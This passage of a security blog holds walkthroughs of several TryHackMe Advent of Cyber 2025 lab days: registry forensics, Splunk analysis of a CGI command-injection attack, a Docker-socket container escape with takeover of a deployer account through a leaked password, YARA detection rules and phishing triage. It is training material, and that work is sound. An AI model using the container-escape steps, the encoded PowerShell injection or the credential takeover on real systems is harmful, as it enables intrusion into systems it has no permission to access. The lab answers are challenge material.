HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU Displays: Commands executed via the Win+R Run dialog. Registry Forensics Registry forensics is the process of extracting and analyzing evidence from the Registry for Windows digital forensic investigations, where analysts examine registry data alongside event logs, file system data, and memory data to construct incident timelines.\nKey Forensic Registry Locations\nRecently accessed GUI-launched applications\n- HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\nPaths and locations typed in Explorer address bar\n- HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TypedPaths\nApplication file paths\n- HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\App\nSearch terms entered in Explorer search bar\n- HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WordWheelQuery\nStartup programs configured for automatic launch\n- HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nRecently accessed files\n- HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs\nComputer hostname\n- HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName\nInstalled programs inventory\n- HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nRegistry Editor limitations\nCannot open offline hives (required for forensic analysis to prevent system modification) Displays some key values in unreadable binary format Specialized registry forensics tools \u0026ndash; such as Registry Explorer \u0026ndash; parse binary data and enable offline analysis without risk of modifying the original system evidence.\nDirty Hives Registry Hives that were collected from live systems and may have incomplete transactions.\nUse clean loading on them: Registry Explorer \u0026gt; File \u0026gt; Load hive \u0026gt; Load Hives pop-up \u0026gt; Select desired hive file \u0026gt; hold SHIFT then press Open.\nPractical Tool: Registry Explorer Hives: C:\\Users\\Administrator\\Desktop\\Registry Hives Investigated Host: dispatch-srv01 Time Range: from 2025.11.21 on Preparation Start the target VM, open Registry Explorer, and load the registry hives for dispatch-srv01 by:\nRegistry Explorer \u0026gt; File tab \u0026gt; Load hive \u0026gt; Select all files in C:\\Users\\Administrator\\Desktop\\Registry Hives\\ \u0026gt; Press SHIFT and Open.\nQuestions and Answers Question-1: What application was installed on the dispatch-srv01 before the abnormal activity started?\nDroneManager Updater\nHead over to Available bookmarks, under the loaded SOFTWARE hive entries \u0026ndash; C:\\Users\\Administrator\\Desktop\\Registry Hives\\SOFTWARE \u0026ndash; and select Uninstall.\nFigure 1: Registry Explorer showing the SOFTWARE hive selected from Available bookmarks\nNote that there are two Uninstall keys:\none with the last timestamp entry on 2025-10-20 20:16:40 with Microsoft EdgeWebView, and another with the timestamp entry of 2025-10-21 20:52:37 by DroneManager Updater (64bit). Figure 2: Registry Explorer displaying installed applications with timestamps showing DroneManager Updater as the last installed program\nGiven that the exercise explicitly notes that the time range starts only from 2025.11.21 on, the entry dated 2025-10-21 20:52:37 by DroneManager Updater (64bit) must be the clear answer here.\nQuestion-2: What is the full path where the user launched the application (found in question 1) from?\nC:\\Users\\dispatch.admin\\Downloads\\DroneManager_Setup.exe\nWe can check the recently accessed GUI-launched applications via HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist, orienting ourselves by the Program Name and the Last Executed columns to further narrow down our search.\nFigure 3: UserAssist registry key showing the full path where the user launched the DroneManager installer\nQuestion-3: Which value was added by the application to maintain persistence on startup?\n\u0026quot;C:\\Program Files\\DroneManager\\dronehelper.exe\u0026quot; --background\nFirst, we know that the keys for startup programs that are configured for automatic launch are stored in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, so let us head over there:\nC:\\Users\\Administrator\\Desktop\\Registry Hives\\SOFTWARE \u0026gt; CurrentVersion \u0026gt; Run.\nThere are only two entries configured here, and the one with the name drone_helper should be the clear winner.\nFigure 4: Run registry key showing the drone_helper entry configured to maintain persistence on startup\nQuestion-4: If you enjoyed today\u0026rsquo;s room, feel free to check out the Expediting Registry Analysis room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-16/","summary":"TryHackMe | Advent of Cyber 2025 | Day 16: Forensics - Registry Forensics","title":"AOC25 | Day-16"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 15\nTitle: Web Attack Forensics - Drone Alone Description\nExplore web attack forensics using Splunk.\nSummary\nDay 15 is about analyzing a web server compromise in Splunk by examining multiple log sources to trace an attack from initial access to post-exploitation activity. We first search web access logs and find Base64-encoded PowerShell payloads targeting a vulnerable CGI script. Decoding it reveals a gloating message, confirming successful exploitation.\nWe then check Apache error logs to determine if attacks reached the backend or were blocked at the web layer. Next, we examine Sysmon process logs and discover child processes spawned by Apache, proving successful command injection at the OS level.\nLastly, we identify post-exploitation reconnaissance commands, showing the attacker probing their privilege level. Finally, we search for encoded PowerShell commands in Sysmon logs and find none, indicating defenses successfully blocked further encoded payload execution.\nStoryline\nTBFC\u0026rsquo;s drone scheduler web UI is compromised by Base64-encoded malicious payloads in HTTP requests that trigger remote code execution on vulnerable endpoints. Splunk detected Apache spawning suspicious processes, revealing obfuscated shell code hidden within the payloads.\nPreparation Open the Splunk Enterprise web interface by visiting the provided link after starting the target VM. Be aware that it might take a while for the setup to be ready (~5+ min).\nFigure 1: Splunk Enterprise login screen\nOnce the web interface loads, navigate to Search \u0026amp; Reporting.\nFigure 2: Splunk Enterprise home dashboard with Search \u0026amp; Reporting option\nAdjust the Time range for searches to include all reported events by selecting All time.\nFigure 3: Adjusting the search time range to All time\nWeb Logs Web Access Logs Search web access logs for HTTP requests containing signs of command execution attempts such as cmd.exe, PowerShell, Invoke-Expression, and possible command injection attacks where system command execution is performed through a vulnerable CGI script \u0026ndash; hello.bat:\nindex=windows_apache_access (cmd.exe OR powershell OR \u0026#34;powershell.exe\u0026#34; OR \u0026#34;Invoke-Expression\u0026#34;) | table _time host clientip uri_path uri_query status Upon closer inspection of the reported events, we notice suspicious Base64-encoded PowerShell payloads in the uri_query field.\nFigure 4: Detecting command execution attempts in web access logs\nThe same payload was attempted three times: VABoAGkAcwAgAGkAcwAgAG4AbwB3ACAATQBpAG4AZQAhACAATQBVAEEASABBAEEASABBAEEA.\nFigure 5: Base64-encoded PowerShell payload in the URI query string\nWe decode the payload by switching to our attacker Kali machine and using the -d (decode) option with base64:\nuser@kali:~$ echo -n \"VABoAGkAcwAgAGkAcwAgAG4AbwB3ACAATQBpAG4AZQAhACAATQBVAEEASABBAEEASABBAEEA\" | base64 -d This is now Mine! MUAHAAHAA user@kali:~$ The decoded results reveal a gloating message \u0026ndash; \u0026ldquo;This is now Mine! MUAHAAHAA\u0026rdquo; \u0026ndash; indicating that an attacker likely achieved some level of success penetrating the system.\nAdditional interesting data accompanies the encoded payload:\nTime Range: 2025-10-26 21:47:59 – 2025-10-27 04:39:10 Host: WebAppServer Client IP: 10.9.0.217 URI Path: /cgi-bin/hello.bat Response Status Codes: all 200 Web Error Logs We examine Apache error logs for server-side errors or command execution indicators, looking for signs of execution attempts or internal failures caused by malicious requests.\nQuery:\nindex=windows_apache_error (\u0026#34;cmd.exe\u0026#34; OR \u0026#34;powershell\u0026#34; OR \u0026#34;Internal Server Error\u0026#34;) Query results:\nFigure 6: Failed command execution attempts in Apache error logs\nSelect Raw View instead of the default List View by clicking View: List and selecting Raw from the dropdown menu.\nFigure 7: Selecting Raw View for improved readability\nThe rationale for checking error logs is that some exploit attempts fail or get blocked.\nFor example, a request to /cgi-bin/hello.bat?cmd=powershell triggering a \u0026ldquo;500 Internal Server Error\u0026rdquo; could indicate that the attacker\u0026rsquo;s input was processed by the server but failed during execution, which would indicate a clear exploitation attempt.\nSimply put, checking error logs helps confirm whether an attack reached the backend or remained blocked at the web layer.\nSysmon Data Command Injection Attempts We check Sysmon logs for processes spawned by httpd.exe \u0026ndash; the web server:\nindex=windows_sysmon ParentImage=\u0026#34;*httpd.exe\u0026#34; There are fourteen entries here. We change our view from List to Table to get a better picture of the activity.\nFigure 8: Processes spawned by the Apache web server\nTo understand these results, note that the Apache process should only spawn worker threads, not system processes such as cmd.exe or powershell.exe.\nTherefore, any results showing child processes such as Image = C:\\Windows\\System32\\cmd.exe with Apache as the parent process \u0026ndash; ParentImage = C:\\Apache24\\bin\\httpd.exe \u0026ndash; indicates successful command injection, where a system command was executed by Apache.\nIn summary, this finding indicates that the web attack penetrated the operating system.\nEnumerating Suspicious Activity We search for indicators of post-exploitation reconnaissance, such as the attacker running whoami in CMD to determine which user account their malicious process is running as.\nQuery:\nindex=windows_sysmon *cmd.exe* *whoami* Query result:\nFigure 9: Post-exploitation reconnaissance activity\nEncoded Payloads We search for encoded strings or commands successfully run by PowerShell within Sysmon data:\nindex=windows_sysmon Image=\u0026#34;*powershell.exe\u0026#34; (CommandLine=\u0026#34;*enc*\u0026#34; OR CommandLine=\u0026#34;*-EncodedCommand*\u0026#34; OR CommandLine=\u0026#34;*Base64*\u0026#34;) The rationale: if defenses were adequate, such execution was blocked and nothing appears in the results.\nIf, on the other hand, results appear, we can determine when and exactly what was run, providing insight into the attacker\u0026rsquo;s intentions.\nFortunately, nothing appears here, meaning that our defenses were sufficient today.\nQuestions and Answers Question-1: What is the reconnaissance executable file name?\nwhoami.exe\nQuestion-2: What executable did the attacker attempt to run through the command injection?\nPowerShell.exe\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-15/","summary":"TryHackMe | Advent of Cyber 2025 | Day 15: Web Attack Forensics - Drone Alone","title":"AOC25 | Day-15"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 14\nTitle: Containers - DoorDasher\u0026rsquo;s Demise\nBonus: Bonus Task Description\nContinue your Advent of Cyber journey and learn about container security.\nSummary\nHere we start with a quick container theory overview, then we investigate a defaced website and discover it to be hosted in a Docker container with a critical vulnerability: the Docker socket is exposed to the container, giving us full access to the Docker Engine.\nUsing this access, we escalate privileges to a more privileged container, recover the original website by running a recovery script, and grab the flag. As a bonus, we find a hardcoded password on another service and use it to take over the deployer user account.\nStoryline\nDoorDasher, a Wareville food delivery service, has been hijacked and rebranded as Hopperoo by King Malhare. The takeover replaced menu items with bizarre ingredients (including Santa\u0026rsquo;s beard fragments), causing choking incidents and health violations. When a security engineer attempted to restore the system, Sir CarrotBaine locked him out. The SOC team must now escape their monitoring container, escalate privileges, and restore the site.\nTheory Containers are isolated packages bundling applications with their dependencies, solving installation, troubleshooting, and version conflict problems.\nThey share the host OS kernel (unlike VMs with full guest OSs), making them lightweight and fast.\nWhy Containers Matter Microservices architecture breaks applications into independently scalable components. Containers\u0026rsquo; lightweight nature makes scaling specific parts efficient without scaling the entire application.\nDocker Docker is the popular container engine that builds, runs, and manages containers using Dockerfiles \u0026ndash; text scripts defining app environments and dependencies for consistent deployment across systems.\nSecurity Risk Container escape is an attack where code inside a container exploits vulnerabilities to access the host kernel or other containers. This occurs when attackers communicate with the container runtime\u0026rsquo;s Unix sockets, which expose the API server managing containers.\nChallenge Let us start by examining the defaced website running on the target on port 5001.\nFigure 1: Hopperoo defacement page replacing the legitimate DoorDasher website\nAs we can see, the benign DoorDasher website was replaced by a malicious Hopperoo website.\nGiven our access to the target system, let us check the running Docker containers with docker ps.\nFigure 2: Output of docker ps showing running containers including uptime-checker and deployer\nThe guide nudges us toward the uptime-checker service, which has port mapping 0.0.0.0:5003-\u0026gt;80/tcp, so let us try to access it via our browser on port 5003.\nFigure 3: Uptime-checker web interface displaying DoorDasher service compromise warnings\nThe web interface reports multiple warnings and a system compromise for the DoorDasher service.\nLet us try to access the container and see if we can obtain execution inside the container with docker exec -it uptime-checker sh.\nTo break it down: docker exec executes a command in a running container; -i makes it interactive; -t allocates a pseudo-TTY; uptime-checker is the container in which we want to run the command; and lastly, sh is the basic shell we want to run.\nOnce we run it, we are welcomed with root access and dropped into the root directory (/).\nFigure 4: Root shell obtained inside the uptime-checker container showing the root directory\nThe next thing to check is socket access, which we can verify by running ls -la /var/run/docker.sock.\nTo simplify: the Docker socket is a file that allows communication with the Docker Engine through an API. When a container has access to this socket, it can create, manage, and control other containers.\nFigure 5: Docker socket file permissions\nBy default, Docker\u0026rsquo;s Enhanced Container Isolation feature blocks socket access \u0026ndash; meaning the socket file is not mounted into the container.\nIn this instance, however, the socket file was mounted, and we should have management access to the Docker Engine from within the uptime-checker container.\nGiven our elevated privileges, let us try to access and run commands in the privileged deployer container.\nLet us use Bash this time instead of the basic sh: docker exec -it deployer bash.\nIt worked, and now we have command execution inside the deployer container.\nFigure 6: Interactive Bash shell established inside the deployer container\nOnce we perform quick reconnaissance \u0026ndash; whoami to check who we are logged in as and pwd to get the full path to our current working directory \u0026ndash; we follow up by examining the root directory (/) with ls -hla.\nFigure 7: Root directory listing revealing flag.txt and recovery_script.sh files\nThere are two notable discoveries here:\nflag.txt: Probably the flag for one of the questions below. recovery_script.sh: The recovery script that hopefully can fully restore the DoorDasher original website. Let us first retrieve the flag with cat flag.txt and then try to restore the website by running sudo ./recovery_script.sh, which runs the recovery script with elevated privileges.\nIf we take a closer look at the script and its privileges, we can note that root owns the script both in user and group, but everybody (other) has permission to execute it \u0026ndash; even us \u0026ndash; logged in as the deployer user.\nFigure 8: Recovery script execution output indicating successful website restoration\nThe script reports a successful recovery, and when we check the website again on port 5001 via browser, indeed, it has been fully restored.\nFigure 9: Legitimate DoorDasher website fully restored after running recovery script\nQuestions and Answers Question-1: Continue your Advent of Cyber journey and learn about container security.\ndocker ps\nQuestion-2: What file is used to define the instructions for building a Docker image?\nDockerfile\nQuestion-3: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-4: Liked the content? We have plenty more where this came from! Try our Container Vulnerabilities room.\nNo answer needed\nBonus Task Bonus-Question: There is a secret code contained within the news site running on port 5002; this code also happens to be the password for the deployer user! They should definitely change their password. Can you find it?\nDeployMaster2025!\nLastly, the bonus question mentions a news website running on port 5002. Let us check it out.\nFigure 10: News website article with suspiciously highlighted words forming the password\nThere are a couple of words highlighted here: \u0026lsquo;Deploy\u0026rsquo;, \u0026lsquo;Master\u0026rsquo;, \u0026lsquo;2025!\u0026rsquo;.\nIf we concatenate them, it looks like a password, which could be potentially dangerous. Let us verify it by attempting a password change with passwd:\nFigure 11: Password change confirmation showing successful authentication with discovered credentials\nIt worked; DeployMaster2025! was truly the deployer user\u0026rsquo;s password, and we changed it to a password that we now control.\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-14/","summary":"TryHackMe | Advent of Cyber 2025 | Day 14: Containers - DoorDasher\u0026rsquo;s Demise + Bonus Task","title":"AOC25 | Day-14 + Bonus"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 13\nTitle: YARA Rules - YARA mean one! Description\nLearn how YARA rules can be used to detect anomalies.\nSummary\nHere we start with a quick YARA 101, where we discuss what YARA rules are, what they are used for, what problems they solve, and, lastly, how exactly to build and use them.\nIn the practical part, we build a YARA rule to identify files containing a specific hidden string, then assemble the hidden pieces to find McSkidy\u0026rsquo;s hidden message and potential location.\nStoryline\nMcSkidy, missing from TBFC, sent a hidden message to the blue team embedded in Easter-themed images. The team must create a YARA rule to scan the directory, detect a keyword paired with code words, and extract those code words in ascending order to decode her message.\nTheory YARA is a malware detection tool that identifies threats by searching for unique patterns and digital fingerprints in code, files, and memory.\nAdvantages Speed: Quickly scans large file sets. Flexibility: Detects text, binary patterns, and complex logic. Control: Analysts define what is malicious. Shareability: Rules are reusable across organizations. Visibility: Connects scattered clues into attack patterns. Common Use Cases Post-incident analysis: Verifies malware presence across the environment. Threat hunting: Searches for known or related malware families. Intelligence scans: Applies shared rules to detect new indicators. Memory analysis: Examines active processes for malicious code. YARA Rules A YARA rule consists of three key elements:\nMetadata: Information about the rule itself; who created it, when, and why. Strings: What to search for (text, byte sequences, regular expressions). Conditions: Logic deciding when the rule triggers. YARA rule example: Looking for specific URLs and executable names.\nrule TBFC_KingMalhare_Trace { meta: author = \u0026#34;Defender of SOC-mas\u0026#34; description = \u0026#34;Detects traces of King Malhare\u0026#39;s malware\u0026#34; date = \u0026#34;...\u0026#34; strings: $s1 = \u0026#34;rundll32.exe\u0026#34; fullword ascii $s2 = \u0026#34;msvcrt.dll\u0026#34; fullword wide $url1 = /http:\\/\\/.*malhare.*/ nocase condition: any of them } YARA rule example: Specific header binary, malicious binary fragment, restrict by file size.\nrule TBFC_Simple_MZ_Detect { meta: author = \u0026#34;TBFC SOC L2\u0026#34; description = \u0026#34;IcedID Rule\u0026#34; date = \u0026#34;...\u0026#34; confidence = \u0026#34;low\u0026#34; strings: $mz = { 4D 5A } // \u0026#34;MZ\u0026#34; header (PE file) $hex1 = { 48 8B ?? ?? 48 89 } // malicious binary fragment $s1 = \u0026#34;malhare\u0026#34; nocase // story / IOC string condition: all of them and filesize \u0026lt; 10485760 // \u0026lt; 10MB size } Execution syntax.\n: -r : scan directories recursively and follow symlinks : -s : prints the strings found within files that match the rule yara -r icedid_starter.yar C:\\ Rule Extension: .yar\nStrings Strings represent the signatures of malicious activity in fragments of text, bytes, or patterns.\nText Strings\n# TEXT STRINGS - words or short text fragments # ASCII and case-sensitive (default) $TBFC_string = \u0026#34;Christmas\u0026#34; # Case-insensitive $xmas = \u0026#34;Christmas\u0026#34; nocase # Wide-character - searching for both here # many windows executables use two-byte Unicode characters - ***ascii*** enforces single-byte search $xmas = \u0026#34;Christmas\u0026#34; wide ascii # XOR strings - checks all possible single-byte XOR variations of the string $hidden = \u0026#34;Malhare\u0026#34; xor # Base64 strings - decodes the content and searches for the original pattern even if hidden in encoded form $b64 = \u0026#34;SOC-mas\u0026#34; base64 Hexadecimal Strings\n# Hexadecimal strings - search for specific byte patterns written in hexadecimal notion # - useful for file headers, shellcode, binary signatures rule TBFC_Malhare_HexDetect { strings: $mz = { 4D 5A 90 00 } // MZ header of a Windows executable $hex_string = { E3 41 ?? C8 G? VB } condition: $mz and $hex_string } Regular Expression Strings\n# Regular expression strings - flexible search patterns, spotting URLs, encoded commands, dynamic filenames # BEWARE: can match wide range of data \u0026gt; SLOW down scans if too broad rule TBFC_Malhare_RegexDetect { strings: $url = /http:\\/\\/.*malhare.*/ nocase $cmd = /powershell.*-enc\\s+[A-Za-z0-9+/=]+/ nocase condition: $url and $cmd } Conditions Match single string: $xmas. Match any string: any of them. Match all strings: all of them \u0026ndash; trigger only if every indicator matches. Combined logic: and, or, not \u0026ndash; ($s1 or $s2) and not $benign. Comparisons: Check file properties, not just contents \u0026ndash; filesize, entrypoint, hash \u0026ndash; any of them and (filesize \u0026lt; 700KB) Questions and Answers First, we navigate to the /home/ubuntu/Downloads/easter directory on the VM and take a quick look around.\nubuntu@tryhackme:~$ cd /home/ubuntu/Downloads/ ubuntu@tryhackme:~/Downloads$ ls -hla easter/ ... -rw-r--r-- 1 ubuntu ubuntu 695K ... easter1.jpg -rw-r--r-- 1 ubuntu ubuntu 1.3M ... easter10.jpg ... -rw-r--r-- 1 ubuntu ubuntu 462 ... embeds ubuntu@tryhackme:~/Downloads$ That is a lot of pictures \u0026ndash; sixty-one, to be exact:\nubuntu@tryhackme:~/Downloads$ cd easter ubuntu@tryhackme:~/Downloads/easter$ ls | wc -l 61 ubuntu@tryhackme:~/Downloads/easter$ We create a YARA rule named tbfc-string_detect.yar with a bare-bones YARA rule structure, then add one simple text string search with $keyword = \u0026quot;TBFC:\u0026quot; ascii:\nrule TBFC_STRING_DETECT { meta: author = \u0026#34;DefinitelyNotTheEasterBunny\u0026#34; description = \u0026#34;Detect keywords \u0026#39;TBFC:\u0026#39; followed by an ASCII alphanumeric keyword\u0026#34; date = \u0026#34;Once-Upon-A-Time\u0026#34; confidence = \u0026#34;very-low\u0026#34; strings: $keyword = \u0026#34;TBFC:\u0026#34; ascii condition: $keyword } The rule is very simple; it looks for the string \u0026lsquo;TBFC:\u0026rsquo; and assumes that it is ASCII encoded, which is the default setting.\nAs for the condition, it only has to match that simple keyword we defined \u0026ndash; therefore, it will only trigger when the searched object (text, file, etc.) contains the specified keyword.\nLet us try running it:\nubuntu@tryhackme:~/Downloads/easter$ cd .. ubuntu@tryhackme:~/Downloads$ ls -hla ... drwxr-xr-x 2 ubuntu ubuntu 4.0K ... easter -rw-r--r-- 1 ubuntu ubuntu 320 ... tbfc-string-detect.yar ubuntu@tryhackme:~/Downloads$ yara -s -r tbfc-string-detect.yar easter/ TBFC_STRING_DETECT easter//easter46.jpg 0x2f78a:$keyword: TBFC: TBFC_STRING_DETECT easter//embeds 0x18f:$keyword: TBFC: 0x1bf:$keyword: TBFC: TBFC_STRING_DETECT easter//easter10.jpg 0x137da8:$keyword: TBFC: TBFC_STRING_DETECT easter//easter16.jpg 0x3bb7f7:$keyword: TBFC: TBFC_STRING_DETECT easter//easter52.jpg 0x2a2ad2:$keyword: TBFC: TBFC_STRING_DETECT easter//easter25.jpg 0x42c778:$keyword: TBFC: ubuntu@tryhackme:~/Downloads$ Great, it worked. Let us move on to the questions.\nQuestion-1: How many images contain the string TBFC?\n5\nWe are almost already there to answer this question. Yeah, we could simply count them\u0026hellip; But we can do better; let us play with Linux a bit:\nubuntu@tryhackme:~/Downloads$ yara -r tbfc-string-detect.yar easter/ TBFC_STRING_DETECT easter//easter46.jpg TBFC_STRING_DETECT easter//embeds TBFC_STRING_DETECT easter//easter16.jpg TBFC_STRING_DETECT easter//easter10.jpg TBFC_STRING_DETECT easter//easter52.jpg TBFC_STRING_DETECT easter//easter25.jpg ubuntu@tryhackme:~/Downloads$ yara -r tbfc-string-detect.yar easter/ | grep .jpg TBFC_STRING_DETECT easter//easter46.jpg TBFC_STRING_DETECT easter//easter16.jpg TBFC_STRING_DETECT easter//easter10.jpg TBFC_STRING_DETECT easter//easter52.jpg TBFC_STRING_DETECT easter//easter25.jpg ubuntu@tryhackme:~/Downloads$ yara -r tbfc-string-detect.yar easter/ | grep .jpg | wc -l 5 ubuntu@tryhackme:~/Downloads$ First we remove the unnecessary string outputs that come with -s, then we focus only on .jpg files. Lastly, we count them.\nQuestion-2: What regex would you use to match a string that begins with TBFC: followed by one or more alphanumeric ASCII characters?\n/TBFC:[A-Za-z0-9]+/\nLet us modify our keyword from $keyword = \u0026quot;TBFC:\u0026quot; ascii to $keyword = /TBFC:[A-Za-z0-9]+/ ascii.\nThe part [A-Za-z0-9] denotes an alphanumeric character, + indicates that there is at least one or more of them, and ascii makes sure that this regular expression will search for one-byte ASCII encoded versions of the specified keyword.\nThis is how our new modified rule might look:\nrule TBFC_STRING_DETECT { meta: author = \u0026#34;DefinitelyNotTheEasterBunny\u0026#34; description = \u0026#34;Detect keywords \u0026#39;TBFC:\u0026#39; followed by an ASCII alphanumeric keyword\u0026#34; date = \u0026#34;Once-Upon-A-Time\u0026#34; confidence = \u0026#34;very-low\u0026#34; strings: $keyword = /TBFC:[A-Za-z0-9]+/ ascii condition: $keyword } Question-3: What is the message sent by McSkidy?\nFind me in Hopsec Island\nRunning our new rule, specified in the previous question, brings us closer to answering this question.\nubuntu@tryhackme:~/Downloads$ yara -s -r tbfc-string-detect.yar easter/ TBFC_STRING_DETECT easter//easter46.jpg 0x2f78a:$keyword: TBFC:HopSec TBFC_STRING_DETECT easter//easter10.jpg 0x137da8:$keyword: TBFC:Find TBFC_STRING_DETECT easter//easter52.jpg 0x2a2ad2:$keyword: TBFC:Island TBFC_STRING_DETECT easter//easter16.jpg 0x3bb7f7:$keyword: TBFC:me TBFC_STRING_DETECT easter//easter25.jpg 0x42c778:$keyword: TBFC:in ubuntu@tryhackme:~/Downloads$ As we can see, there is a secret message hidden here. Let us try to cut away all the unnecessary words and focus on the hidden message, starting with excluding lines that contain image extensions (.jpg).\nubuntu@tryhackme:~/Downloads$ yara -s -r tbfc-string-detect.yar easter/ | grep -v .jpg 0x2f78a:$keyword: TBFC:HopSec 0x137da8:$keyword: TBFC:Find 0x2a2ad2:$keyword: TBFC:Island 0x3bb7f7:$keyword: TBFC:me 0x42c778:$keyword: TBFC:in ubuntu@tryhackme:~/Downloads$ Focusing only on the secret words and trying to sort them brings us to the following: \u0026lsquo;Find\u0026rsquo;, \u0026lsquo;HopSec\u0026rsquo;, \u0026lsquo;Island\u0026rsquo;, \u0026lsquo;in\u0026rsquo;, \u0026lsquo;me\u0026rsquo;.\nubuntu@tryhackme:~/Downloads$ yara -s -r tbfc-string-detect.yar easter/ | grep -v .jpg | cut -d \" \" -f 2 TBFC:HopSec TBFC:me TBFC:Find TBFC:Island TBFC:in ubuntu@tryhackme:~/Downloads$ yara -s -r tbfc-string-detect.yar easter/ | grep -v .jpg | cut -d \" \" -f 2 | cut -d \":\" -f 2 HopSec me Find Island in ubuntu@tryhackme:~/Downloads$ yara -s -r tbfc-string-detect.yar easter/ | grep -v .jpg | cut -d \" \" -f 2 | cut -d \":\" -f 2 | sort Find HopSec Island in me ubuntu@tryhackme:~/Downloads$ Assembling them in the correct order gives us the secret message: \u0026ldquo;Find me in Hopsec Island\u0026rdquo;.\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-13/","summary":"TryHackMe | Advent of Cyber 2025 | Day 13: YARA Rules - YARA mean one!","title":"AOC25 | Day-13"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 12\nTitle: Phishing - Phishmas Greetings Description\nLearn how to spot phishing emails from Malhare\u0026rsquo;s Eggsploit Bunnies sent to TBFC users.\nSummary\nHere we move on to inspect some emails in order to identify various phishing attempts. Some of these make use of email address spoofing techniques, others use falsely advertised \u0026ndash; potentially malicious \u0026ndash; attachment files. There are also some others that use typosquatting/punycode, but most default to some basic social engineering techniques.\nStoryline\nMcSkidy\u0026rsquo;s disappearance has disabled TBFC\u0026rsquo;s email filters. The SOC Team suspects Malhare\u0026rsquo;s Eggsploit Bunnies launched a phishing campaign to steal credentials. You must identify legitimate emails versus sophisticated phishing attempts disguised as routine operations or SOC-mas logistics.\nSpotting Phishing Emails Phishing is a precision-targeted cyber attack exploiting human vulnerability to steal credentials, deliver malware, exfiltrate data, or commit financial fraud.\nIt remains highly effective because it targets people, not technology.\nPhishing vs. Spam Phishing is deliberate deception targeting specific users. Spam is bulk, low-risk marketing noise with goals to push exposure or engagement.\nIts intentions include: promotion, scams, traffic generation (clickbait), and data harvesting. The best defense is to look for the intention behind it.\nCore Techniques Impersonation\nAttackers pose as trusted individuals or departments using mismatched domains (e.g., Gmail instead of company domain). The best defense against it: check if the sender\u0026rsquo;s email matches the expected domain.\nSocial Engineering\nThis technique manipulates emotions through urgency, fear, or trust; often redirects victims away from official verification channels (side channel). Some of the common techniques include: impersonation, sense of urgency, side channel, and malicious intention.\nTyposquatting\nTyposquatting registers misspelled domains (glthub.com vs. github.com).\nPunycode\nPunycode replaces ASCII letters with visually identical Unicode characters (Latin a becomes Greek α). The best defense against it is to check the email headers\u0026rsquo; Return-Path field for ACE prefix encoding.\nSpoofing\nMessages appear legitimate (display name and From:) but fail authentication checks (SPF, DKIM, DMARC). Failed SPF and DMARC indicate spoofing.\nThe best defense against it is to check the Headers \u0026gt; Authentication-Results (spf=fail; dkim=fail; dmarc=fail). Also, check the Return-Path.\nSPF: Says which servers are allowed to send emails for a domain (like a list of approved senders) DKIM: Adds a digital signature to prove the message was not changed and really came from that domain DMARC: Uses SPF and DKIM to decide what to do if something looks fake (for example, send it to spam or block it) Malicious Attachments\nAttaching malicious files to an email usually uses some sort of social engineering technique in the body. Common types include .html and .hta files because they execute without browser sandboxing, providing full endpoint access.\nModern Tactics Attackers now focus on stealing credentials rather than dropping malware. They exploit legitimate applications (Google Drive, OneDrive, Dropbox) to bypass filters, create fake login pages (microsoftonline.login444123.com/signin) mimicking Office 365/Google, and use side-channel communications (SMS, WhatsApp, phone calls) to escape company security controls.\nDefense User awareness is critical. Verify sender domains, check authentication headers, recognize social engineering, and question requests creating artificial urgency.\nQuestions and Answers First, we start the target VM and then open the web application.\nIt seems that the Automatic classification function is disabled, so we have to inspect the emails manually. There are six emails in our inbox.\nFigure 1: Email inbox with six messages awaiting classification\nWe begin with the first one by clicking on it under Available Emails.\nFigure 2: First email selected for inspection\nQuestion-1: Classify the 1st email, what\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nIt looks like we have an Email Spoofing Attempt here. There are several indicators we can examine to verify it.\nFirst, under Headers, we can check the AUTHENTICATION-RESULTS email header.\nThe fact that all authentication checks \u0026ndash; SPF, DKIM, and DMARC \u0026ndash; report failures is a strong indicator of a spoofing attempt.\nFigure 3: First email with failed SPF, DKIM, and DMARC authentication checks\nMoreover, when we check the RETURN-PATH header, we notice a mismatch between the sender, the advertised, and the real return email address.\nFigure 4: First email showing Return-Path header mismatch\nOnce we identify the issue, we classify the email.\nWhen we submit the correct classification, we receive the flag for the first question.\nCLASSIFICATION: Phishing \u0026ndash; Spoofing, Sense of Urgency, Fake Invoice\nFigure 5: First email classification result displaying the flag\nQuestion-2: Classify the 2nd email. What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nHere we notice a potentially malicious attachment file, which is advertised as an MP3 file when in fact it is an HTML file.\nMoreover, just like before, there is an issue with both the Authentication-Results and the Return-Path header.\nFigure 6: Second email with disguised malicious attachment\nIndicators\nAUTHENTICATION-RESULTS Header: spf=fail; dkim=fail; dmarc=fail RETURN-PATH Header: zxwsedr@easterbb.com instead of calls@tbfc.com Attachments: HTML file \u0026ndash; Play-Now.mp3-29a-otpqw-warq-29.html \u0026ndash; instead of MP3 file CLASSIFICATION: Phishing \u0026ndash; Impersonation, Spoofing, Malicious Attachment\nQuestion-3: Classify the 3rd email. What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nIndicators\nSense of urgency text: Contains \u0026lsquo;immediately\u0026rsquo;, 